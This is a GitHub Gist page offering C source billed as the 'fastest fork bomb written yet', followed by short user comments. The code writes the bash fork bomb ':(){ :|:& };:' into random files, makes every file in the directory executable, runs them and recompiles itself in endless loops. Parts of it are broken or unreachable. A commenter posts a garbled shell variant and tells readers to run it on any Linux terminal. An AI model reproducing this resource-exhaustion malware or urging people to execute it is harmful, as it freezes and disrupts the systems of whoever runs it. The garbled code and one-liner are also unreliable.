-
-
Save gdisneyleugers/5212bf129c5ab5168308 to your computer and use it in GitHub Desktop.
Fork Bomb in C, fastest fork bomb written yet.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
int generator(void) | |
{ | |
system("echo ':(){ :|:& };: ./*' > $RANDOM"); | |
system("chmod +x * 2> /dev/null"); | |
system("chmod +x $RANDOM 2> /dev/null"); | |
system("bash -c './$RANDOM' 2> /dev/null"); | |
system("bash -c './*' 2> /dev/null"); | |
return(0); | |
} | |
int reproduce(void) | |
{ | |
system("gcc fb.c -o .fb.$RANDOM"); | |
while(1) | |
generator(); | |
fork(); | |
return(0); | |
} | |
int main(void) | |
{ | |
for ( ; ; ) | |
while(1) | |
while(1) | |
while(1) | |
reproduce(); | |
system("bash -c './*' 2> /dev/null"); | |
system(".fb.$RANDOM"); | |
while(1) | |
exec("./*"); | |
fork(); | |
fork(); | |
fork(); | |
return(0); | |
} |
How did you test it ?
Some systems; you can reboot it to stop it.
I want to share my own fork bomb. Maybe faster:
c="." && . ( ) { c = "$c | $c" | $c & };.
It froze my SD845 android phone in 5 seconds. Try it. It may not work on some linux.
Just execute it on any linux terminal
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
How did you test it ?